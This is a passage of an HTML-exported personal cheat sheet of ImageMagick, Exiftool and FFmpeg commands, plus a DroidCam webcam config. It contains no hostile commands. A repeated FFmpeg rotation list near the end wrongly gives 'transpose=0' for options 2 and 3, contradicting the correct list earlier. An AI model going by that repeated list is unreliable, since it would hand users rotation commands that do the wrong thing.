<span>Edit the text file /etc/modprobe.d/droidcam.conf with the new options to make the change stick.</span></li></ul><p><span>Example </span><code>/etc/modprobe.d/droidcam.conf</code><span>:</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>2</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">options v4l2loopback_dc width=1920 height=1080</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">options snd-aloop index=0</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 46px;"></div><div class="CodeMirror-gutters" style="height: 46px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><p><span>It’s also possible to invert the video size (eg. 480×640, width=480 height=640), which will make the webcam vertical and rotate the video 90º.</span>
<span>Not all programs may load the webcam with inverted parameters (eg. Discord does not) but many do (eg. Zoom and OBS).</span></p><h1 id='image-magick'><span>Image Magick</span></h1><ul><li><p><span>List all fonts available to ImageMagick: </span><code>convert -list fonts</code></p></li><li><p><span>Change all white pixels in an image to transparent (needs to PNG!): </span><code>convert test.png -transparent white transparent.png</code></p></li><li><p><span>&quot;Diff&quot; two images (first shows the result as a PNG, second as a PDF): </span><code>compare image1 image2 -compose src diff.png</code></p></li><li><p><span>Changing all JPGs to a width of 120px and save as PNG: </span><code>magick &#39;*.jpg&#39; -resize 120x thumbnail%03d.png</code></p></li><li><p><span>Extract text from an image (requires </span><code>tesseract</code><span>): </span><code>convert -colorspace gray -fill white -resize 480% -sharpen 0x1 in.png out.jpg &amp;&amp; tesseract out.jpg out.txt</code></p></li><li><p><span>Replace transperancy with white background: </span><code>convert -flatten img1.png img1-white.png</code></p></li><li><p><span>Convert all images in directory to 25% of original size and put all converted images into subdirectory: </span><code>mogrify -scale 25% -path ./thumbs *.*</code></p></li><li><p><span>Crop an image: </span><code>convert image.png -crop 200x300+20+20 cropped.png</code></p></li><li><p><span>Calculate a hash of image data (ImageMagick): </span><code>identify -quiet -format &quot;%#&quot; &quot;./path/to/file&quot;</code></p></li><li><p><span>stdout text to image: </span><code>convert -background lightblue -fill blue -font DejaVu-Sans-Mono-Book -pointsize 72 label:@- cal.gif &lt;&lt;&lt; $(cal)</code></p></li><li><p><span>Combine </span><code>cal</code><span> calendar output with an image: </span><code>convert -font DejaVu-Sans-Mono-Book -fill &#39;#0008&#39; -draw &#39;rectangle 200,180,960,680&#39; -fill white -pointsize 50 -draw &quot;text 270,260 \&quot;</code><span>cal</span><code>\&quot;&quot; bg.png bgcal.png</code></p><ul><li><span>(optional) make canvas bigger to ensure proper filling; in this case assumption is background is white:</span>
<code>convert original.png -gravity Center -extent 110%x110% original_grown.png</code></li><li><span>Add the mask</span>
<code>magick master.JPG -fuzz 5% -bordercolor white -border 1 -fill none -draw &quot;alpha 0,0 floodfill&quot; -shave 1x1 result.png</code></li></ul></li></ul><h1 id='exiftool'><span>Exiftool</span></h1><ul><li><span>Remove all cached images for icons related to your profile: </span><code>DEL /F /S /Q /A %LocalAppData%\Microsoft\Windows\Explorer\thumbcache_*.db</code></li><li><span>Print DateTimeOriginal from EXIF data for all files in folder: </span><code>for i in *.jpg; do identify -format %[EXIF:DateTimeOriginal] $i; echo; done</code></li><li><span>Manipulate the metadata and edit the create time (This will change date to 1986:11:05 12:00 - Date: 1986 5th November, Time: 12.00) and then it will set modify date to the same as alldate.: </span><code>exiftool &quot;-AllDates=1986:11:05 12:00:00&quot; a.jpg; exiftool &quot;-DateTimeOriginal&gt;FileModifyDate&quot; a.jpg</code></li><li><span>Manipulate the metadata when the photo was taken, this will shift with +15hours + 30min: </span><code>exiftool &quot;-DateTimeOriginal+=0:0:0 15:30:0&quot; a.jpg</code></li><li><span>Extract all GPS positions from a AVCHD video.: </span><code>exiftool -ee -p &quot;$gpslatitude, $gpslongitude, $gpstimestamp&quot; a.m2ts</code></li><li><span>Exiftool adjust Date &amp; Time of pictures: </span><code>&quot;exiftool(-k).exe&quot; &quot;-DateTimeOriginal-=0:0:0 0:25:0&quot; .</code></li><li><span>Use CreationDate metadata on .mov files to rename and modify the created/modify file dates on Mac: </span><code>exiftool &#39;-MDItemFSCreationDate&lt;CreationDate&#39; &#39;-FileModifyDate&lt;CreationDate&#39; &#39;-filename&lt;CreationDate&#39; -d %Y-%m-%d_%H-%M-%S%%+c.%%le . -ext mov</code></li><li><span>Edit Camera Model in metadata:: </span><code>exiftool -model=&quot;Samsung Galaxy S11 PRO EDITION &quot; a.jpg</code></li></ul><h1 id='ffmpeg-simple'><span>FFmpeg (simple)</span></h1><p><span>A good x264 read: </span><code>x264 --fullhelp</code></p><ul><li><span>Convert a video using CRF (lower = better): </span><code>ffmpeg -i input.mp4 -vcodec libx265 -crf 28 output.mp4</code></li><li><span>Convert video for max compatibility and web viewing (2019): </span><code>ffmpeg -i final3.mp4 -c:v libx264 -crf 40 -profile:v baseline -level 3.0 -pix_fmt yuv420p -movflags faststart final3_264.mp4</code></li><li><span>Clip a video starting at 35 min 10 sec to 37 min 29 sec: </span><code>ffmpeg -ss 00:35:10 -i original.mp4 -to 00:37:29 -c copy out.mp4</code></li><li><span>Clip a video starting at 35 min 10 sec, 1 min 34 sec duration: </span><code>ffmpeg -ss 00:35:10.0 -i input.wmv -t 00:01:34 -c copy output.wmv</code></li><li><span>0 = 90° CounterClockwise and Vertical Flip (default): </span><code>ffmpeg -i in.mov -vf &quot;transpose=0&quot; out.mov</code></li><li><span>1 = 90° Clockwise: </span><code>ffmpeg -i in.mov -vf &quot;transpose=1&quot; out.mov</code></li><li><span>2 = 90° CounterClockwise: </span><code>ffmpeg -i in.mov -vf &quot;transpose=2&quot; out.mov</code></li><li><span>3 = 90° Clockwise and Vertical Flip: </span><code>ffmpeg -i in.mov -vf &quot;transpose=3&quot; out.mov</code></li><li><span>Flip a video horizontally (this way: &lt;-&gt;): </span><code>ffmpeg -i original.mp4 -vf hflip original_flipped.mp4</code></li><li><span>Combine multiple images into a video using ffmpeg: </span><code>ffmpeg -start_number 0053 -r 1/5 -i IMG_%04d.JPG -c:v libx264 -vf fps=25 -pix_fmt yuv420p out.mp4</code></li><li><span>Inset video. </span><code>ffmpeg -i main.mp4 -i inset.mp4 -filter_complex &#39;overlay=main_w-overlay_w+(1920-192*2.5):main_h-overlay_h+(1080-108*2.5)&#39; -t 5 output.mp4</code></li><li><span>Cover the main video with a transparent color: </span><code>ffmpeg -i lights.mp4 -vf &#39;color=color=red@.3:size=1920x1080 [over]; [in][over] overlay [out]&#39; -t 5 output.mp4</code></li><li><span>ffmpeg fade from video 1 to video 2 (start at 20 seconds for 2 sec): </span><code>ffmpeg -i video1.mp4 -i video2.mp4 -filter_complex &quot;xfade=offset=20:duration=2&quot; v1_to_v2.mp4</code></li></ul><p><span>FFMPEG transition effects:</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>6</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'custom' 'fade' 'wipeleft' 'wiperight' 'wipeup' 'wipedown' 'slideleft' 'slideright' 'slideup'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'slidedown' 'circlecrop' 'rectcrop' 'distance' 'fadeblack' 'fadewhite' 'radial'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'smoothleft' 'smoothright' 'smoothup' 'smoothdown' 'circleopen' 'circleclose'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'vertopen' 'vertclose' 'horzopen' 'horzclose' 'dissolve' 'pixelize' 'diagtl'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'diagtr' 'diagbl' 'diagbr' 'hlslice' 'hrslice' 'vuslice' 'vdslice' 'hblur'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">'fadegrays' 'wipetl' 'wipetr' 'wipebl' 'wipebr' 'squeezeh' 'squeezev'</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 138px;"></div><div class="CodeMirror-gutters" style="height: 138px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><ul><li><span>Stabilize a video: </span><code>ffmpeg -i video.mp4 -vf vidstabtransform=smoothing=30 video_stab.mp4</code></li><li><span>Extract frames from a video: </span><code>ffmpeg -i file.mpg -r 1/1 $filename%03d.bmp</code></li><li><span>Lossless conversion of a movie to mkv, adding cover art: </span><code>ffmpeg -i in.mkv -i cover.jpg -map 0 -map 1 -c copy -c:v:1 png -disposition:v:1 attached_pic -sameq out.mkv</code></li><li><span>Video to gif (start at 30 seconds, 3 sec duration): </span><code>ffmpeg -ss 30 -t 3 -i VIDEO.mp4 -vf &quot;fps=10,scale=320:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse&quot; -loop 0 OUTPUT.gif</code></li><li><span>Output keyframes from all source files: </span><code>ffmpeg -skip_frame nokey -i *.mp4 -vsync 0 -r 30 -f image2 t%02d.tiff</code></li><li><span>Run ffmpeg in the bg and divert messages: </span><code>ffmpeg -nostdin example.mkv &amp;&gt; log.txt &amp;</code></li><li><span>Write file and also play it (audio only): </span><code>ffmpeg -i &quot;https://chillout.zone/chillout_plus&quot; -map 0 -c:a copy -f tee &quot;output.flac|[f=nut]pipe:&quot; | ffplay pipe:</code></li><li><span>Write file and also play it (video + audio): </span><code>ffmpeg -f v4l2 -i /dev/video0 -map 0 -c:v libx264 -f tee &quot;output.mp4|[f=nut]pipe:&quot; | ffplay pipe:</code></li><li><span>Screen capture with mic input (ALSA): </span><code>ffmpeg -f x11grab -s 1440x900 -i :0.0 -f alsa -i hw:0 out.mkv</code></li></ul><h2 id='noise-reducing-pre-built-models'><span>Noise-reducing pre-built models</span></h2><p><span>Reduce background noise: </span><a href='https://superuser.com/questions/733061/reduce-background-noise-and-optimize-the-speech-from-an-audio-clip-using-ffmpeg' target='_blank' class='url'>https://superuser.com/questions/733061/reduce-background-noise-and-optimize-the-speech-from-an-audio-clip-using-ffmpeg</a></p><ul><li><span>Use a highpass/lowpass filter (e.g. to enhance speech): </span><code>ffmpeg -i &lt;nput_file&gt; -af &quot;highpass=f=200, lowpass=f=3000&quot; &lt;output_file&gt;</code></li><li><span>Use RNNoise-Models to enhance speech-based audio ( </span><a href='https://github.com/GregorR/rnnoise-models' target='_blank' class='url'>https://github.com/GregorR/rnnoise-models</a><span> ): </span><code>ffmpeg -i input.mp4 -af &quot;arnndn=m=bd.rnnn&quot; -c:v copy denoised.mp4</code></li><li><span>Volume boost: </span><code>ffmpeg -i denoised.mp4 -af &quot;volume=4&quot; -c:v copy boosted.mp4</code></li></ul><h2 id='concatenate-two-or-more-videos-read-from-a-file'><span>Concatenate two or more videos read from a file:</span></h2><p><code>cat mylist.txt</code><span>:</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><span><span>​</span>x</span></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">file '/path/to/file1'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">file '/path/to/file2'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">file '/path/to/file3'</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 92px;"></div><div class="CodeMirror-gutters" style="height: 92px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><p><code>ffmpeg -f concat -safe 0 -i mylist.txt -c copy output.mp4</code></p><h1 id='more-complex-tasks-with-ffmpeg'><span>More complex tasks with ffmpeg</span></h1><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 44px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 36px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>17</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -36px; width: 36px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg <span class="cm-attribute">-i</span> <span class="cm-number">1</span>.mp4 <span class="cm-attribute">-i</span> <span class="cm-number">2</span>.mp4 <span class="cm-attribute">-an</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-attribute">-filter_complex</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">" &nbsp; [0:v]trim=start=0:end=13.47,setpts=PTS-STARTPTS[firstclip];</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [1:v<span class="cm-def">]trim</span><span class="cm-operator">=</span><span class="cm-def">start</span><span class="cm-operator">=</span><span class="cm-number">1</span><span class="cm-def">,setpts</span><span class="cm-operator">=</span>PTS-STARTPTS[secondclip];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [0:v<span class="cm-def">]trim</span><span class="cm-operator">=</span><span class="cm-def">start</span><span class="cm-operator">=</span><span class="cm-number">13</span>.47<span class="cm-def">:end</span><span class="cm-operator">=</span><span class="cm-number">14</span>.47<span class="cm-def">,setpts</span><span class="cm-operator">=</span>PTS-STARTPTS[fadeoutsrc];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [1:v<span class="cm-def">]trim</span><span class="cm-operator">=</span><span class="cm-def">start</span><span class="cm-operator">=</span><span class="cm-number">0</span><span class="cm-def">:end</span><span class="cm-operator">=</span><span class="cm-number">1</span><span class="cm-def">,setpts</span><span class="cm-operator">=</span>PTS-STARTPTS[fadeinsrc];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [fadeinsrc<span class="cm-def">]format</span><span class="cm-operator">=</span><span class="cm-def">pix_fmts</span><span class="cm-operator">=</span>yuva420p,</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">8</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-def">fade</span><span class="cm-operator">=</span><span class="cm-def">t</span><span class="cm-operator">=</span><span class="cm-keyword">in</span><span class="cm-def">:st</span><span class="cm-operator">=</span><span class="cm-number">0</span><span class="cm-def">:d</span><span class="cm-operator">=</span><span class="cm-number">1</span><span class="cm-def">:alpha</span><span class="cm-operator">=</span><span class="cm-number">1</span>[fadein];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">9</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [fadeoutsrc<span class="cm-def">]format</span><span class="cm-operator">=</span><span class="cm-def">pix_fmts</span><span class="cm-operator">=</span>yuva420p,</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">10</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-def">fade</span><span class="cm-operator">=</span><span class="cm-def">t</span><span class="cm-operator">=</span>out<span class="cm-def">:st</span><span class="cm-operator">=</span><span class="cm-number">0</span><span class="cm-def">:d</span><span class="cm-operator">=</span><span class="cm-number">1</span><span class="cm-def">:alpha</span><span class="cm-operator">=</span><span class="cm-number">1</span>[fadeout];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">11</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [fadein]fifo[fadeinfifo];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">12</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [fadeout]fifo[fadeoutfifo];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">13</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [fadeoutfifo][fadeinfifo]overlay[crossfade];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">14</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [firstclip][crossfade][secondclip<span class="cm-def">]concat</span><span class="cm-operator">=</span><span class="cm-def">n</span><span class="cm-operator">=</span><span class="cm-number">3</span>[output];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">15</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  [0:a][1:a] <span class="cm-def">acrossfade</span><span class="cm-operator">=</span><span class="cm-def">d</span><span class="cm-operator">=</span><span class="cm-number">1</span> [audio]</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">16</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">" \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">17</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string">-map "</span>[output]<span class="cm-string">" -map "</span>[audio]<span class="cm-string">" result.mp4</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 391px;"></div><div class="CodeMirror-gutters" style="height: 391px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 35px;"></div></div></div></div></pre><ul><li><span>0 = 90° CounterClockwise and Vertical Flip (default): </span><code>ffmpeg -i in.mov -vf &quot;transpose=0&quot; out.mov</code></li><li><span>1 = 90° Clockwise: </span><code>ffmpeg -i in.mov -vf &quot;transpose=1&quot; out.mov</code></li><li><span>2 = 90° CounterClockwise: </span><code>ffmpeg -i in.mov -vf &quot;transpose=0&quot; out.mov</code></li><li><span>3 = 90° Clockwise and Vertical Flip: </span><code>ffmpeg -i in.mov -vf &quot;transpose=0&quot; out.mov</code></li></ul><h2 id='create-a-video-mosaic-of-multiple-videos'><span>Create a video mosaic of multiple videos</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 44px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 36px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>24</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -36px; width: 36px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div 